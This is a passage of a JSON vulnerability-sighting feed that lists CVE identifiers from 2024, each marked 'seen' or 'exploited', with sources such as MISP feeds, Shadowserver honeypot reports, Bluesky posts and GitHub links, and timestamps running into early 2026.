"MISP/3f43d0af-77bb-43b4-8f1a-89c6cbf90ef1", "content": "", "creation_timestamp": "2025-08-30T22:08:16.000000Z"}, {"uuid": "2596c7f3-eb55-432b-8b9d-ebb3acad5fe4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "MISP/3f43d0af-77bb-43b4-8f1a-89c6cbf90ef1", "content": "", "creation_timestamp": "2025-08-30T22:08:16.000000Z"}, {"uuid": "68abe35b-4003-4f38-beb5-f98f248022f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "MISP/3f43d0af-77bb-43b4-8f1a-89c6cbf90ef1", "content": "", "creation_timestamp": "2025-08-30T22:08:17.000000Z"}, {"uuid": "478af167-a86e-4e1e-8ca1-6d7ad3aaeab9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "MISP/3f43d0af-77bb-43b4-8f1a-89c6cbf90ef1", "content": "", "creation_timestamp": "2025-08-30T22:08:17.000000Z"}, {"uuid": "3eb624c0-e2ee-450a-9c26-48e16e0ba3b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12913", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lyxhidt5ff2c", "content": "", "creation_timestamp": "2025-09-16T13:47:32.968019Z"}, {"uuid": "35ded92c-5eb5-47bf-9c1a-9cceaef8a0bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3m63o4d6hwc23", "content": "", "creation_timestamp": "2025-11-20T21:02:48.621902Z"}, {"uuid": "0dda03ff-9171-4eb1-af22-828ecc887465", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-04)", "content": "", "creation_timestamp": "2025-11-04T00:00:00.000000Z"}, {"uuid": "1718f912-6066-4326-851c-68a8529ac948", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12971", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_12971.rb", "content": "", "creation_timestamp": "2025-04-08T05:57:06.000000Z"}, {"uuid": "d71e75de-f12b-4b39-b7bd-97e986d51d52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12649", "type": "seen", "source": "MISP/d0bda5d9-8cbc-4c6c-8803-a5e3150f9ec2", "content": "", "creation_timestamp": "2025-09-01T19:03:02.000000Z"}, {"uuid": "bbb21530-3c68-4cf1-8efa-9baa2c5a718a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12648", "type": "seen", "source": "MISP/d0bda5d9-8cbc-4c6c-8803-a5e3150f9ec2", "content": "", "creation_timestamp": "2025-09-01T19:03:02.000000Z"}, {"uuid": "3e168c9b-acc9-4429-bd80-411dfbb5358b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12409", "type": "seen", "source": "MISP/ca7dfd4e-d0b5-4d10-8982-36d9f6e53c8e", "content": "", "creation_timestamp": "2025-09-01T13:53:38.000000Z"}, {"uuid": "8001fd25-7afd-44e3-987c-16602477e47b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12921", "type": "seen", "source": "MISP/ca7dfd4e-d0b5-4d10-8982-36d9f6e53c8e", "content": "", "creation_timestamp": "2025-09-01T13:53:38.000000Z"}, {"uuid": "bfbc74db-71ee-4c8a-bba2-6e9a1fd80c6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "MISP/1c5c38d6-3401-41ac-be0e-4cf361fa6f51", "content": "", "creation_timestamp": "2025-09-25T00:36:28.000000Z"}, {"uuid": "068c5319-a555-4d69-8d2b-eed2f67bf12a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12524", "type": "seen", "source": "MISP/ca7dfd4e-d0b5-4d10-8982-36d9f6e53c8e", "content": "", "creation_timestamp": "2025-09-01T13:53:38.000000Z"}, {"uuid": "28d09772-9201-46e3-8c40-8fc201697bdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "MISP/ca7dfd4e-d0b5-4d10-8982-36d9f6e53c8e", "content": "", "creation_timestamp": "2025-09-01T13:53:38.000000Z"}, {"uuid": "29e78eaf-e222-4638-870f-fd718ac85d87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12310", "type": "seen", "source": "MISP/2bceffac-02c3-4c54-a709-6e253b38ec76", "content": "", "creation_timestamp": "2025-09-09T20:56:41.000000Z"}, {"uuid": "3674cafa-4c6d-4ac9-bc4f-7291e9dc781f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "MISP/3445a876-cced-4346-bf37-e276ba39cff4", "content": "", "creation_timestamp": "2025-09-02T18:30:14.000000Z"}, {"uuid": "e037a4e3-1a93-4d21-861d-3792444ddb45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12108", "type": "seen", "source": "MISP/3445a876-cced-4346-bf37-e276ba39cff4", "content": "", "creation_timestamp": "2025-09-02T18:30:14.000000Z"}, {"uuid": "0c0daaa9-c1f1-48be-8db3-f719676233be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12828", "type": "seen", "source": "MISP/3445a876-cced-4346-bf37-e276ba39cff4", "content": "", "creation_timestamp": "2025-09-02T18:30:14.000000Z"}, {"uuid": "948da26a-c0c3-48eb-a989-89a27272ad6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12970", "type": "seen", "source": "MISP/3445a876-cced-4346-bf37-e276ba39cff4", "content": "", "creation_timestamp": "2025-09-02T18:30:14.000000Z"}, {"uuid": "acd3c289-919c-413b-9f75-95fe28644172", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12545", "type": "seen", "source": "MISP/dd71e3c5-20f7-409a-8bcc-8df3cd8022a7", "content": "", "creation_timestamp": "2025-09-03T13:30:06.000000Z"}, {"uuid": "772050eb-20d4-418e-b5d2-93a3cafbc469", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-24)", "content": "", "creation_timestamp": "2025-09-24T00:00:00.000000Z"}, {"uuid": "8d05b5b6-89de-4e59-97c7-1606e00d9533", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-07)", "content": "", "creation_timestamp": "2025-11-07T00:00:00.000000Z"}, {"uuid": "5c86a242-4f4b-47d4-a5d9-76f846cd069b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-03)", "content": "", "creation_timestamp": "2025-09-03T00:00:00.000000Z"}, {"uuid": "818dfd28-2962-492e-884b-1bccd4bcce0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-23)", "content": "", "creation_timestamp": "2025-11-23T00:00:00.000000Z"}, {"uuid": "128cabbe-ea6d-4acc-9183-0515937ae846", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-03)", "content": "", "creation_timestamp": "2025-12-03T00:00:00.000000Z"}, {"uuid": "19baf64d-0de9-4f5a-8c6b-772adbec15e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-04)", "content": "", "creation_timestamp": "2025-12-04T00:00:00.000000Z"}, {"uuid": "d3d0e50c-f3a0-4d3c-971b-e8ab50f93fc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-05)", "content": "", "creation_timestamp": "2025-12-05T00:00:00.000000Z"}, {"uuid": "d7ca4359-d81e-4008-9832-80becc2c4308", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-06)", "content": "", "creation_timestamp": "2025-12-06T00:00:00.000000Z"}, {"uuid": "4b9d6f83-774c-4666-9abc-24b233d484ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-13)", "content": "", "creation_timestamp": "2025-12-13T00:00:00.000000Z"}, {"uuid": "41f48127-0575-4ee6-a277-b215a483a2ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-17)", "content": "", "creation_timestamp": "2025-12-17T00:00:00.000000Z"}, {"uuid": "193155dd-6c14-4c79-a7b9-d29f13be6b1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12718", "type": "seen", "source": "https://gist.github.com/mbijon/e171b6d76ed664ff9e2e38813aa8c61e", "content": "", "creation_timestamp": "2025-12-21T20:45:06.000000Z"}, {"uuid": "37f87f01-003d-481c-9344-88761e48e824", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-22)", "content": "", "creation_timestamp": "2025-12-22T00:00:00.000000Z"}, {"uuid": "f8516a41-e23d-417e-9dc6-9be9d862132c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-23)", "content": "", "creation_timestamp": "2025-12-23T00:00:00.000000Z"}, {"uuid": "0154c898-6ed1-49a3-9e05-1a268dcee7ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-23)", "content": "", "creation_timestamp": "2025-12-23T00:00:00.000000Z"}, {"uuid": "fa4a75ae-9350-4484-be96-9695b84a7055", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-24)", "content": "", "creation_timestamp": "2025-12-24T00:00:00.000000Z"}, {"uuid": "033ab400-9946-41f6-995c-df7607f98193", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-24)", "content": "", "creation_timestamp": "2025-12-24T00:00:00.000000Z"}, {"uuid": "49146a40-d3a4-46bf-b341-17a59b61c28e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-26)", "content": "", "creation_timestamp": "2025-12-26T00:00:00.000000Z"}, {"uuid": "dda76b73-9285-4668-8385-96669fd49d57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-29)", "content": "", "creation_timestamp": "2025-12-29T00:00:00.000000Z"}, {"uuid": "4ac9d3ea-75e7-4826-8564-3c329eae8e3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-29)", "content": "", "creation_timestamp": "2025-12-29T00:00:00.000000Z"}, {"uuid": "cf4cc331-5846-4422-a446-68404d99302e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://gist.github.com/johnmillerATcodemag-com/6197fcf6c9000612e97935ad88d79021", "content": "", "creation_timestamp": "2025-12-30T16:44:44.000000Z"}, {"uuid": "94025959-0a47-4975-bee2-1e530b33709b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-30)", "content": "", "creation_timestamp": "2025-12-30T00:00:00.000000Z"}, {"uuid": "d6a7d991-b450-431c-95e7-aa3b623583e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-02)", "content": "", "creation_timestamp": "2026-01-02T00:00:00.000000Z"}, {"uuid": "a4c7e3d7-5378-4862-b956-9504a75cf50e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-03)", "content": "", "creation_timestamp": "2026-01-03T00:00:00.000000Z"}, {"uuid": "6da02bf1-04e2-4a33-9bd8-2955106b0c32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-04)", "content": "", "creation_timestamp": "2026-01-04T00:00:00.000000Z"}, {"uuid": "768f20b0-f6a5-46e0-814c-b23ed8d60f7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mbqtoxubss2k", "content": "", "creation_timestamp": "2026-01-06T11:24:09.242431Z"}, {"uuid": "b24874c7-2808-4e00-9100-2bac9c399e3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3mbr4xhxgcx2p", "content": "", "creation_timestamp": "2026-01-06T14:09:55.776527Z"}, {"uuid": "7dea9fa3-2d8a-4da5-982a-480dd861df82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mbr4xnxsoa32", "content": "", "creation_timestamp": "2026-01-06T14:10:22.530594Z"}, {"uuid": "e4b3473c-5bf5-44a9-8c32-ad505df95570", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-07)", "content": "", "creation_timestamp": "2026-01-07T00:00:00.000000Z"}, {"uuid": "c501c61c-f246-46fd-ab86-94ad60462483", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-07)", "content": "", "creation_timestamp": "2026-01-07T00:00:00.000000Z"}, {"uuid": "3a3c60ff-77a2-4ea7-83fc-da521e538f10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-08)", "content": "", "creation_timestamp": "2026-01-08T00:00:00.000000Z"}, {"uuid": "ecdea8ac-1ca7-412c-9f55-a101718b1279", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-08)", "content": "", "creation_timestamp": "2026-01-08T00:00:00.000000Z"}, {"uuid": "0b57bb03-804c-4262-a900-70aebde379aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-09)", "content": "", "creation_timestamp": "2026-01-09T00:00:00.000000Z"}, {"uuid": "8a53a7cf-430a-49a0-bf83-c1c4e27ea5b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-09)", "content": "", "creation_timestamp": "2026-01-09T00:00:00.000000Z"}, {"uuid": "3cea439a-0902-40ea-9593-cfbc4c1f8828", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-10)", "content": "", "creation_timestamp": "2026-01-10T00:00:00.000000Z"}, {"uuid": "d3dac007-ce70-46af-a220-eddd27be0a7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-10)", "content": "", "creation_timestamp": "2026-01-10T00:00:00.000000Z"}, {"uuid": "65bc7992-c337-4fad-a561-7f6410076e46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-11)", "content": "", "creation_timestamp": "2026-01-11T00:00:00.000000Z"}, {"uuid": "f58b5c06-e132-4717-ac93-b5b7c4cff392", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-11)", "content": "", "creation_timestamp": "2026-01-11T00:00:00.000000Z"}, {"uuid": "b5e4eb6c-0324-4ce2-a2a4-fe02723188ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-12)", "content": "", "creation_timestamp": "2026-01-12T00:00:00.000000Z"}, {"uuid": "190577d8-e04c-42d3-80a5-8bbdb6cc264d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-12)", "content": "", "creation_timestamp": "2026-01-12T00:00:00.000000Z"}, {"uuid": "84c4357c-61d8-41cc-90c3-9e10f707d6c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-13)", "content": "", "creation_timestamp": "2026-01-13T00:00:00.000000Z"}, {"uuid": "1826a555-a624-4364-baf3-da79860d0046", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-13)", "content": "", "creation_timestamp": "2026-01-13T00:00:00.000000Z"}, {"uuid": "ce0d777d-0997-495e-98e4-23823a661e8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-13)", "content": "", "creation_timestamp": "2026-01-13T00:00:00.000000Z"}, {"uuid": "e33619ae-c795-4aea-a967-8370eec6fca1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-14)", "content": "", "creation_timestamp": "2026-01-14T00:00:00.000000Z"}, {"uuid": "424d9a3d-e41c-4802-b41b-696408d905f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-14)", "content": "", "creation_timestamp": "2026-01-14T00:00:00.000000Z"}, {"uuid": "a3135263-b6d3-4ced-be27-46f28ef009da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-14)", "content": "", "creation_timestamp": "2026-01-14T00:00:00.000000Z"}, {"uuid": "3179be79-4160-48e5-bcae-24eec8d3c732", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-14)", "content": "", "creation_timestamp": "2026-01-14T00:00:00.000000Z"}, {"uuid": "d29a602c-6559-4d97-99df-810af77bfec6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-15)", "content": "", "creation_timestamp": "2026-01-15T00:00:00.000000Z"}, {"uuid": "65e5b027-6969-4928-af97-a1fb3d7b8044", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-15)", "content": "", "creation_timestamp": "2026-01-15T00:00:00.000000Z"}, {"uuid": "b79b2831-4dc8-4f25-8dc5-82decccf9a45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-15)", "content": "", "creation_timestamp": "2026-01-15T00:00:00.000000Z"}, {"uuid": "0847600e-1b36-4c63-bc23-83c00dbe8e37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-16)", "content": "", "creation_timestamp": "2026-01-16T00:00:00.000000Z"}, {"uuid": "9b78ffd3-f02c-4a92-81b5-156ae7fb3cb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-16)", "content": "", "creation_timestamp": "2026-01-16T00:00:00.000000Z"}, {"uuid": "4a96f0e0-f638-458a-b747-52e3afcd10b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-17)", "content": "", "creation_timestamp": "2026-01-17T00:00:00.000000Z"}, {"uuid": "d4191d61-d0b7-4d4e-8338-e790c340dd5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-17)", "content": "", "creation_timestamp": "2026-01-17T00:00:00.000000Z"}, {"uuid": "b0a90dc0-9f55-49e1-a8ec-ba2c129e5de8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver 